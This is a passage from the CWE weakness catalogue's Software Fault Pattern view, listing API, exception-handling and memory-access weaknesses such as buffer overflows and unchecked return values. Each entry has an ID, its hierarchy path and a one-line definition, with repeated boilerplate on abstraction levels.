The product violates the Enterprise JavaBeans (EJB) specification by using the class loader.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Explicit Call to Finalize() - (586)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 586 (Explicit Call to Finalize())
The product makes an explicit call to the finalize() method from outside the finalizer.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Call to Non-ubiquitous API - (589)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 589 (Call to Non-ubiquitous API)
The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Reachable Assertion - (617)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 617 (Reachable Assertion)
The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.assertion failure
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Potentially Dangerous Function - (676)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 676 (Use of Potentially Dangerous Function)
The product invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Provision of Specified Functionality - (684)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 684 (Incorrect Provision of Specified Functionality)
The code does not function according to its published specifications, potentially leading to incorrect usage.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Low-Level Functionality - (695)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 695 (Use of Low-Level Functionality)
The product uses low-level functionality that is explicitly prohibited by the framework or specification under which the product is supposed to operate.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Reliance on Undefined, Unspecified, or Implementation-Defined Behavior - (758)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 758 (Reliance on Undefined, Unspecified, or Implementation-Defined Behavior)
The product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Exception Management - (889)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management)
This category identifies Software Fault Patterns (SFPs) within the Exception Management cluster (SFP4, SFP5, SFP6).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Ambiguous Exception Type - (960)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 960 (SFP Secondary Cluster: Ambiguous Exception Type)
This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster (SFP5).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Declaration of Catch for Generic Exception - (396)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 960 (SFP Secondary Cluster: Ambiguous Exception Type) > 396 (Declaration of Catch for Generic Exception)
Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Declaration of Throws for Generic Exception - (397)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 960 (SFP Secondary Cluster: Ambiguous Exception Type) > 397 (Declaration of Throws for Generic Exception)
Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Incorrect Exception Behavior - (961)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 961 (SFP Secondary Cluster: Incorrect Exception Behavior)
This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster (SFP6).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Report of Error Condition - (392)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 961 (SFP Secondary Cluster: Incorrect Exception Behavior) > 392 (Missing Report of Error Condition)
The product encounters an error but does not provide a status code or return value to indicate that an error has occurred.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Return of Wrong Status Code - (393)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 961 (SFP Secondary Cluster: Incorrect Exception Behavior) > 393 (Return of Wrong Status Code)
A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Non-exit on Failed Initialization - (455)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 961 (SFP Secondary Cluster: Incorrect Exception Behavior) > 455 (Non-exit on Failed Initialization)
The product does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error or a hardware security module (HSM) cannot be activated, which can cause the product to execute in a less secure fashion than intended by the administrator.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Cleanup on Thrown Exception - (460)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 961 (SFP Secondary Cluster: Incorrect Exception Behavior) > 460 (Improper Cleanup on Thrown Exception)
The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Standardized Error Handling Mechanism - (544)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 961 (SFP Secondary Cluster: Incorrect Exception Behavior) > 544 (Missing Standardized Error Handling Mechanism)
The product does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Return Inside Finally Block - (584)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 961 (SFP Secondary Cluster: Incorrect Exception Behavior) > 584 (Return Inside Finally Block)
The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Not Failing Securely ('Failing Open') - (636)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 961 (SFP Secondary Cluster: Incorrect Exception Behavior) > 636 (Not Failing Securely ('Failing Open'))
When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.Failing Open
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Improper Check or Handling of Exceptional Conditions - (703)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 961 (SFP Secondary Cluster: Incorrect Exception Behavior) > 703 (Improper Check or Handling of Exceptional Conditions)
The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Unchecked Status Condition - (962)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition)
This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster (SFP4).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Uncaught Exception - (248)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 248 (Uncaught Exception)
An exception is thrown from a function, but it is not caught.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unchecked Return Value - (252)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 252 (Unchecked Return Value)
The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Check of Function Return Value - (253)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 253 (Incorrect Check of Function Return Value)
The product incorrectly checks a return value from a function, which prevents it from detecting errors or exceptional conditions.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Check for Dropped Privileges - (273)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 273 (Improper Check for Dropped Privileges)
The product attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Insufficient Permissions or Privileges - (280)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 280 (Improper Handling of Insufficient Permissions or Privileges )
The product does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the product in an invalid state.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incomplete Internal State Distinction - (372)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 372 (Incomplete Internal State Distinction)
The product does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Detection of Error Condition Without Action - (390)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 390 (Detection of Error Condition Without Action)
The product detects a specific error, but takes no actions to handle the error.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unchecked Error Condition - (391)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 391 (Unchecked Error Condition)
[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unexpected Status Code or Return Value - (394)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 394 (Unexpected Status Code or Return Value)
The product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of NullPointerException Catch to Detect NULL Pointer Dereference - (395)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 395 (Use of NullPointerException Catch to Detect NULL Pointer Dereference)
Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Handler - (431)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 431 (Missing Handler)
A handler is not available or implemented.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Default Case in Multiple Condition Expression - (478)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 478 (Missing Default Case in Multiple Condition Expression)
The code does not have a default case in an expression with multiple conditions, such as a switch statement.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Omitted Break Statement in Switch - (484)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 484 (Omitted Break Statement in Switch)
The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Uncaught Exception in Servlet - (600)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 600 (Uncaught Exception in Servlet )
The Servlet does not catch all exceptions, which may reveal sensitive debugging information.Missing Catch Block
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Initialization - (665)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 665 (Improper Initialization)
The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Check for Unusual or Exceptional Conditions - (754)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 754 (Improper Check for Unusual or Exceptional Conditions)
The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Handling of Exceptional Conditions - (755)
888 (Software Fault Pattern (SFP) Clusters) > 889 (SFP Primary Cluster: Exception Management) > 962 (SFP Secondary Cluster: Unchecked Status Condition) > 755 (Improper Handling of Exceptional Conditions)
The product does not handle or incorrectly handles an exceptional condition.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Memory Access - (890)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access)
This category identifies Software Fault Patterns (SFPs) within the Memory Access cluster (SFP7, SFP8).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Faulty Buffer Access - (970)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access)
This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster (SFP8).
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Access of Indexable Resource ('Range Error') - (118)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 118 (Incorrect Access of Indexable Resource ('Range Error'))
The product does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Restriction of Operations within the Bounds of a Memory Buffer - (119)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer)
The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.Buffer Overflowbuffer overrunmemory safety
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') - (120)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 120 (Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))
The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.Classic Buffer OverflowUnbounded Transfer
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Stack-based Buffer Overflow - (121)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 121 (Stack-based Buffer Overflow)
A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).Stack Overflow
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Heap-based Buffer Overflow - (122)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 122 (Heap-based Buffer Overflow)
A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Write-what-where Condition - (123)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 123 (Write-what-where Condition)
Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Buffer Underwrite ('Buffer Underflow') - (124)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 124 (Buffer Underwrite ('Buffer Underflow'))
The product writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.buffer underrun
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Out-of-bounds Read - (125)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 125 (Out-of-bounds Read)
The product reads data past the end, or before the beginning, of the intended buffer.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Buffer Over-read - (126)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 126 (Buffer Over-read)
The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Buffer Under-read - (127)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 127 (Buffer Under-read)
The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Validation of Array Index - (129)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 970 (SFP Secondary Cluster: Faulty Buffer Access) > 129 (Improper Validation of Array Index)
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.out-of-bounds array indexindex-out-of-rangearray index underflow
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Faulty Pointer Use - (971)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 971 (SFP Secondary Cluster: Faulty Pointer Use)
This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster (SFP7).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Pointer Subtraction to Determine Size - (469)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 971 (SFP Secondary Cluster: Faulty Pointer Use) > 469 (Use of Pointer Subtraction to Determine Size)
The product subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.NULL Pointer Dereference - (476)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 971 (SFP Secondary Cluster: Faulty Pointer Use) > 476 (NULL Pointer Dereference)
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.NPDnull derefnil pointer dereference
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Attempt to Access Child of a Non-structure Pointer - (588)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 971 (SFP Secondary Cluster: Faulty Pointer Use) > 588 (Attempt to Access Child of a Non-structure Pointer)
Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Faulty String Expansion - (972)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 972 (SFP Secondary Cluster: Faulty String Expansion)
This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster (SFP9).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Path Manipulation Function without Maximum-sized Buffer - (785)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 972 (SFP Secondary Cluster: Faulty String Expansion) > 785 (Use of Path Manipulation Function without Maximum-sized Buffer)
The product invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Improper NULL Termination - (973)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 973 (SFP Secondary Cluster: Improper NULL Termination)
This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster (SFP11).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Null Termination - (170)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 973 (SFP Secondary Cluster: Improper NULL Termination) > 170 (Improper Null Termination)
The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Incorrect Buffer Length Computation - (974)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 974 (SFP Secondary Cluster: Incorrect Buffer Length Computation)
This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster (SFP10).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Calculation of Buffer Size - (131)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 974 (SFP Secondary Cluster: Incorrect Buffer Length Computation) > 131 (Incorrect Calculation of Buffer Size)
The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Calculation of Multi-Byte String Length - (135)
